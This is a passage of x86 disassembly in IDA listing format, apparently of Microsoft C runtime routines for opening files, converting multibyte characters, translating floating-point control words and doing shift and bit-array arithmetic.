		mov	dword_4D9718, ebx
		jmp	loc_423BD1
; ---------------------------------------------------------------------------


loc_4239AC:				; CODE XREF: sub_42393B+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_4239C5
; ---------------------------------------------------------------------------


loc_4239B5:				; CODE XREF: sub_42393B+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_4239C5
; ---------------------------------------------------------------------------


loc_4239BE:				; CODE XREF: sub_42393B+54j
		mov	[ebp+var_C], 80000000h


loc_4239C5:				; CODE XREF: sub_42393B+78j
					; sub_42393B+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_4239F3
		cmp	eax, 20h
		jz	short loc_4239EA
		cmp	eax, 30h
		jz	short loc_4239E1
		cmp	eax, 40h
		jnz	short loc_423997
		mov	[ebp+var_10], esi
		jmp	short loc_4239F6
; ---------------------------------------------------------------------------


loc_4239E1:				; CODE XREF: sub_42393B+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_4239F6
; ---------------------------------------------------------------------------


loc_4239EA:				; CODE XREF: sub_42393B+95j
		mov	[ebp+var_10], 1
		jmp	short loc_4239F6
; ---------------------------------------------------------------------------


loc_4239F3:				; CODE XREF: sub_42393B+90j
		mov	[ebp+var_10], ebx


loc_4239F6:				; CODE XREF: sub_42393B+A4j
					; sub_42393B+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_423A40
		jz	short loc_423A3B
		cmp	ecx, ebx
		jz	short loc_423A3B
		cmp	ecx, edi
		jz	short loc_423A32
		cmp	ecx, 200h
		jz	short loc_423A59
		cmp	ecx, 300h
		jnz	loc_423997
		mov	[ebp+var_8], 2
		jmp	short loc_423A69
; ---------------------------------------------------------------------------


loc_423A32:				; CODE XREF: sub_42393B+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_423A69
; ---------------------------------------------------------------------------


loc_423A3B:				; CODE XREF: sub_42393B+D0j
					; sub_42393B+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_423A69
; ---------------------------------------------------------------------------


loc_423A40:				; CODE XREF: sub_42393B+CEj
		cmp	ecx, 500h
		jz	short loc_423A62
		cmp	ecx, 600h
		jz	short loc_423A59
		cmp	ecx, edx
		jz	short loc_423A62
		jmp	loc_423997
; ---------------------------------------------------------------------------


loc_423A59:				; CODE XREF: sub_42393B+E0j
					; sub_42393B+113j
		mov	[ebp+var_8], 5
		jmp	short loc_423A69
; ---------------------------------------------------------------------------


loc_423A62:				; CODE XREF: sub_42393B+10Bj
					; sub_42393B+117j
		mov	[ebp+var_8], 1


loc_423A69:				; CODE XREF: sub_42393B+F5j
					; sub_42393B+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_423A88
		mov	ecx, dword_4D971C
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_423A88
		push	1
		pop	esi


loc_423A88:				; CODE XREF: sub_42393B+138j
					; sub_42393B+148j
		test	al, 40h
		jz	short loc_423A96
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1


loc_423A96:				; CODE XREF: sub_42393B+14Fj
		test	ah, 10h
		jz	short loc_423A9D
		or	esi, edi


loc_423A9D:				; CODE XREF: sub_42393B+15Ej
		test	al, 20h
		jz	short loc_423AA9
		or	esi, 8000000h
		jmp	short loc_423AB3
; ---------------------------------------------------------------------------


loc_423AA9:				; CODE XREF: sub_42393B+164j
		test	al, 10h
		jz	short loc_423AB3
		or	esi, 10000000h


loc_423AB3:				; CODE XREF: sub_42393B+16Cj
					; sub_42393B+170j
		call	sub_423624
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_423AD4
		and	dword_4D9718, 0
		mov	dword_4D9714, 18h
		jmp	short loc_423B12
; ---------------------------------------------------------------------------


loc_423AD4:				; CODE XREF: sub_42393B+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		nop
		call	near ptr 27306D8h
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_423B05
		push	esi
		call	near ptr 2620000h
		nop
		test	eax, eax
		jnz	short loc_423B19
		push	esi
		nop
		call	near ptr 2660000h


loc_423B05:				; CODE XREF: sub_42393B+1B6j
		nop
		call	near ptr 2680DCDh
		push	eax
		call	sub_420314
		pop	ecx


loc_423B12:				; CODE XREF: sub_42393B+197j
		mov	eax, edi
		jmp	loc_423BEF
; ---------------------------------------------------------------------------


loc_423B19:				; CODE XREF: sub_42393B+1C1j
		cmp	eax, 2
		jnz	short loc_423B24
		or	[ebp+var_1], 40h
		jmp	short loc_423B2D
; ---------------------------------------------------------------------------


loc_423B24:				; CODE XREF: sub_42393B+1E1j
		cmp	eax, 3
		jnz	short loc_423B2D
		or	[ebp+var_1], 8


loc_423B2D:				; CODE XREF: sub_42393B+1E7j
					; sub_42393B+1ECj
		push	esi
		push	ebx
		call	sub_4236B9
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:4DAA60h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_423BD6
		test	al, 80h
		jz	short loc_423BD6
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_423BD6
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_422633
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_423B8B
		cmp	dword_4D9718, 83h
		jz	short loc_423BD6
		jmp	short loc_423BCA
; ---------------------------------------------------------------------------


loc_423B8B:				; CODE XREF: sub_42393B+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_41F051
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_423BB8
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_423BB8
		push	[ebp+var_10]
		push	ebx
		call	sub_424DE6
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_423BCA


loc_423BB8:				; CODE XREF: sub_42393B+265j
					; sub_42393B+26Bj
		push	0
		push	0
		push	ebx
		call	sub_422633
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_423BD6


loc_423BCA:				; CODE XREF: sub_42393B+24Ej
					; sub_42393B+27Bj
		push	ebx
		call	sub_41E212
		pop	ecx


loc_423BD1:				; CODE XREF: sub_42393B+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_423BEF
; ---------------------------------------------------------------------------


loc_423BD6:				; CODE XREF: sub_42393B+221j
					; sub_42393B+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_423BED
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_423BED
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]


loc_423BED:				; CODE XREF: sub_42393B+29Fj
					; sub_42393B+2A5j
		mov	eax, ebx


loc_423BEF:				; CODE XREF: sub_42393B+1D9j
					; sub_42393B+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42393B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423BF4	proc near		; CODE XREF: sub_41F44A+5Ep
					; sub_42001D+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427C18
		push	offset sub_4233C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4D9904
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_423C63
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427908
		push	esi
		nop
		call	near ptr 260055Fh
		test	eax, eax
		jz	short loc_423C41
		mov	eax, esi
		jmp	short loc_423C5E
; ---------------------------------------------------------------------------


loc_423C41:				; CODE XREF: sub_423BF4+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset word_4C91BC
		push	esi
		push	ebx
		nop
		call	near ptr 2610000h
		test	eax, eax
		jz	loc_423D29
		push	2
		pop	eax


loc_423C5E:				; CODE XREF: sub_423BF4+4Bj
		mov	dword_4D9904, eax


loc_423C63:				; CODE XREF: sub_423BF4+2Fj
		cmp	eax, 2
		jnz	short loc_423C8C
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_423C74
		mov	eax, dword_4D97D0


loc_423C74:				; CODE XREF: sub_423BF4+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		nop
		call	near ptr 2610000h
		jmp	loc_423D2B
; ---------------------------------------------------------------------------


loc_423C8C:				; CODE XREF: sub_423BF4+72j
		cmp	eax, 1
		jnz	loc_423D29
		cmp	[ebp+arg_10], ebx
		jnz	short loc_423CA2
		mov	eax, dword_4D97E0
		mov	[ebp+arg_10], eax


loc_423CA2:				; CODE XREF: sub_423BF4+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		nop
		call	near ptr 2700000h
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_423D29
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41C2A0
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_41BD10
		add	esp, 0Ch
		jmp	short loc_423CF8
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi


loc_423CF8:				; CODE XREF: sub_423BF4+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_423D29
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		nop
		call	near ptr 2700000h
		cmp	eax, ebx
		jz	short loc_423D29
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		call	near ptr 260055Fh
		nop
		jmp	short loc_423D2B
; ---------------------------------------------------------------------------


loc_423D29:				; CODE XREF: sub_423BF4+61j
					; sub_423BF4+9Bj ...
		xor	eax, eax


loc_423D2B:				; CODE XREF: sub_423BF4+93j
					; sub_423BF4+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_423BF4	endp


; =============== S U B	R O U T	I N E =======================================



sub_423D3D	proc near		; CODE XREF: sub_41F4BF+61p
					; sub_42037B+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DAB60
		jb	short loc_423D4C
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_423D4C:				; CODE XREF: sub_423D3D+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DAA60[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_423D3D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423D63	proc near		; CODE XREF: sub_41F5D4+2D4p
					; sub_41F5D4+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_423D6F
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_423D6F:				; CODE XREF: sub_423D63+8j
		cmp	dword_4D97D0, 0
		jnz	short loc_423D8A
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_423DBC
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_423D8A:				; CODE XREF: sub_423D63+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	dword_43A88C
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	dword_4D97E0
		call	near ptr 28310EEh
		nop
		test	eax, eax
		jz	short loc_423DBC
		cmp	[ebp+arg_0], 0
		jz	short loc_423DC9


loc_423DBC:				; CODE XREF: sub_423D63+1Ej
					; sub_423D63+51j
		mov	dword_4D9714, 2Ah
		or	eax, 0FFFFFFFFh


loc_423DC9:				; CODE XREF: sub_423D63+57j
		pop	ebp
		retn
sub_423D63	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423DCB	proc near		; CODE XREF: sub_420445+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_423DEE
		cmp	[ebp+arg_8], ebx
		jz	short loc_423DEE
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_423DF4
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_423DEE
		mov	[eax], bx


loc_423DEE:				; CODE XREF: sub_423DCB+Cj
					; sub_423DCB+11j ...
		xor	eax, eax


loc_423DF0:				; CODE XREF: sub_423DCB+42j
					; sub_423DCB+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_423DF4:				; CODE XREF: sub_423DCB+17j
		cmp	dword_4D97D0, ebx
		jnz	short loc_423E0F
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_423E0A
		movzx	ax, al
		mov	[ecx], ax


loc_423E0A:				; CODE XREF: sub_423DCB+36j
					; sub_423DCB+C0j
		push	1
		pop	eax
		jmp	short loc_423DF0
; ---------------------------------------------------------------------------


loc_423E0F:				; CODE XREF: sub_423DCB+2Fj
		mov	ecx, off_43A680
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_423E6C
		mov	eax, dword_43A88C
		cmp	eax, 1
		jle	short loc_423E53
		cmp	[ebp+arg_8], eax
		jl	short loc_423E5D
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	dword_4D97E0
		call	near ptr 2700000h
		nop
		test	eax, eax
		mov	eax, dword_43A88C
		jnz	short loc_423DF0


loc_423E53:				; CODE XREF: sub_423DCB+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_423E5D
		cmp	[esi+1], bl
		jnz	short loc_423DF0


loc_423E5D:				; CODE XREF: sub_423DCB+61j
					; sub_423DCB+8Bj ...
		mov	dword_4D9714, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_423DF0
; ---------------------------------------------------------------------------


loc_423E6C:				; CODE XREF: sub_423DCB+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	dword_4D97E0
		call	near ptr 2700000h
		nop
		test	eax, eax
		jnz	loc_423E0A
		jmp	short loc_423E5D
sub_423DCB	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_423EA0	proc near		; CODE XREF: sub_420445+797p
					; sub_420445+7E7p
		cmp	cl, 40h
		jnb	short loc_423EBA
		cmp	cl, 20h
		jnb	short loc_423EB0
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_423EB0:				; CODE XREF: sub_423EA0+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_423EBA:				; CODE XREF: sub_423EA0+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_423EA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_423EBF	proc near		; CODE XREF: sub_420EBB+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_423F0B
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_423EDD
		test	al, 80h
		jz	short loc_423F0B
		test	al, 2
		jnz	short loc_423F0B


loc_423EDD:				; CODE XREF: sub_423EBF+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_423EEA
		push	esi
		call	sub_4238F7
		pop	ecx


loc_423EEA:				; CODE XREF: sub_423EBF+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_423EFA
		cmp	dword ptr [esi+4], 0
		jnz	short loc_423F0B
		inc	eax
		mov	[esi], eax


loc_423EFA:				; CODE XREF: sub_423EBF+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_423F11
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_423F17
		inc	eax
		mov	[esi], eax


loc_423F0B:				; CODE XREF: sub_423EBF+9j
					; sub_423EBF+18j ...
		or	eax, 0FFFFFFFFh


loc_423F0E:				; CODE XREF: sub_423EBF+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_423F11:				; CODE XREF: sub_423EBF+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl


loc_423F17:				; CODE XREF: sub_423EBF+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_423F0E
sub_423EBF	endp


; =============== S U B	R O U T	I N E =======================================



sub_423F2D	proc near		; CODE XREF: sub_4214AB+52p
		xor	eax, eax
		retn
sub_423F2D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423F30	proc near		; CODE XREF: sub_423F65+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_423F7B
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_42400D
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_423F30	endp


; =============== S U B	R O U T	I N E =======================================



sub_423F65	proc near		; CODE XREF: sub_421797+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_423F30
		pop	ecx
		pop	ecx
		retn
sub_423F65	endp


; =============== S U B	R O U T	I N E =======================================



sub_423F7B	proc near		; CODE XREF: sub_423F30+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_423F8C
		push	10h
		pop	eax


loc_423F8C:				; CODE XREF: sub_423F7B+Cj
		test	bl, 4
		jz	short loc_423F93
		or	al, 8


loc_423F93:				; CODE XREF: sub_423F7B+14j
		test	bl, 8
		jz	short loc_423F9A
		or	al, 4


loc_423F9A:				; CODE XREF: sub_423F7B+1Bj
		test	bl, 10h
		jz	short loc_423FA1
		or	al, 2


loc_423FA1:				; CODE XREF: sub_423F7B+22j
		test	bl, 20h
		jz	short loc_423FA8
		or	al, 1


loc_423FA8:				; CODE XREF: sub_423F7B+29j
		test	bl, 2
		jz	short loc_423FB2
		or	eax, 80000h


loc_423FB2:				; CODE XREF: sub_423F7B+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_423FEA
		cmp	edx, 400h
		jz	short loc_423FE7
		cmp	edx, 800h
		jz	short loc_423FE3
		cmp	edx, esi
		jnz	short loc_423FEA
		or	eax, edi
		jmp	short loc_423FEA
; ---------------------------------------------------------------------------


loc_423FE3:				; CODE XREF: sub_423F7B+5Ej
		or	eax, ebp
		jmp	short loc_423FEA
; ---------------------------------------------------------------------------


loc_423FE7:				; CODE XREF: sub_423F7B+56j
		or	ah, 1


loc_423FEA:				; CODE XREF: sub_423F7B+4Ej
					; sub_423F7B+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_423FFA
		cmp	ecx, ebp
		jnz	short loc_423FFF
		or	eax, 10000h
		jmp	short loc_423FFF
; ---------------------------------------------------------------------------


loc_423FFA:				; CODE XREF: sub_423F7B+72j
		or	eax, 20000h


loc_423FFF:				; CODE XREF: sub_423F7B+76j
					; sub_423F7B+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_42400C
		or	eax, 40000h

locret_42400C:				; CODE XREF: sub_423F7B+8Aj
		retn
sub_423F7B	endp


; =============== S U B	R O U T	I N E =======================================



sub_42400D	proc near		; CODE XREF: sub_423F30+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_42401D
		push	1
		pop	eax


loc_42401D:				; CODE XREF: sub_42400D+Bj
		test	bl, 8
		jz	short loc_424024
		or	al, 4


loc_424024:				; CODE XREF: sub_42400D+13j
		test	bl, 4
		jz	short loc_42402B
		or	al, 8


loc_42402B:				; CODE XREF: sub_42400D+1Aj
		test	bl, 2
		jz	short loc_424032
		or	al, 10h


loc_424032:				; CODE XREF: sub_42400D+21j
		test	bl, 1
		jz	short loc_424039
		or	al, 20h


loc_424039:				; CODE XREF: sub_42400D+28j
		test	ebx, 80000h
		jz	short loc_424043
		or	al, 2


loc_424043:				; CODE XREF: sub_42400D+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_424070
		cmp	ecx, 100h
		jz	short loc_42406D
		cmp	ecx, esi
		jz	short loc_424068
		cmp	ecx, edx
		jnz	short loc_424070
		or	ah, 0Ch
		jmp	short loc_424070
; ---------------------------------------------------------------------------


loc_424068:				; CODE XREF: sub_42400D+50j
		or	ah, 8
		jmp	short loc_424070
; ---------------------------------------------------------------------------


loc_42406D:				; CODE XREF: sub_42400D+4Cj
		or	ah, 4


loc_424070:				; CODE XREF: sub_42400D+44j
					; sub_42400D+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_424086
		cmp	ecx, 10000h
		jnz	short loc_424088
		or	eax, esi
		jmp	short loc_424088
; ---------------------------------------------------------------------------


loc_424086:				; CODE XREF: sub_42400D+6Bj
		or	eax, edx


loc_424088:				; CODE XREF: sub_42400D+73j
					; sub_42400D+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_424095
		or	ah, 10h

locret_424095:				; CODE XREF: sub_42400D+83j
		retn
sub_42400D	endp


; =============== S U B	R O U T	I N E =======================================



sub_424096	proc near		; CODE XREF: sub_424135+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_4240DB
		inc	esi
		cmp	esi, 3
		jge	short loc_4240D6
		lea	eax, [eax+esi*4]


loc_4240C8:				; CODE XREF: sub_424096+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_4240DB
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_4240C8


loc_4240D6:				; CODE XREF: sub_424096+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4240DB:				; CODE XREF: sub_424096+27j
					; sub_424096+35j
		xor	eax, eax
		pop	esi
		retn
sub_424096	endp


; =============== S U B	R O U T	I N E =======================================



sub_4240DF	proc near		; CODE XREF: sub_424135+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_424F2C
		add	esp, 0Ch
		dec	esi
		js	short loc_424131
		lea	edi, [ebx+esi*4]


loc_424118:				; CODE XREF: sub_4240DF+50j
		test	eax, eax
		jz	short loc_424131
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_424F2C
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_424118


loc_424131:				; CODE XREF: sub_4240DF+34j
					; sub_4240DF+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4240DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424135	proc near		; CODE XREF: sub_424290+81p
					; sub_424290+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_424199
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_424096
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_424196
		push	edi
		push	[ebp+arg_0]
		call	sub_4240DF
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx


loc_424196:				; CODE XREF: sub_424135+51j
		mov	eax, [ebp+arg_4]


loc_424199:				; CODE XREF: sub_424135+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_4241B9
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd


loc_4241B9:				; CODE XREF: sub_424135+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424135	endp


; =============== S U B	R O U T	I N E =======================================



sub_4241C1	proc near		; CODE XREF: sub_424290+75p
					; sub_424290+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx


loc_4241CF:				; CODE XREF: sub_4241C1+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_4241CF
		pop	esi
		retn
sub_4241C1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4241DC	proc near		; CODE XREF: sub_424290+5Fp
					; sub_424290+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_4241DC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4241E8	proc near		; CODE XREF: sub_424290+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx


loc_4241EE:				; CODE XREF: sub_4241E8+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_424200
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_4241EE
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_424200:				; CODE XREF: sub_4241E8+9j
		xor	eax, eax
		retn
sub_4241E8	endp


; =============== S U B	R O U T	I N E =======================================

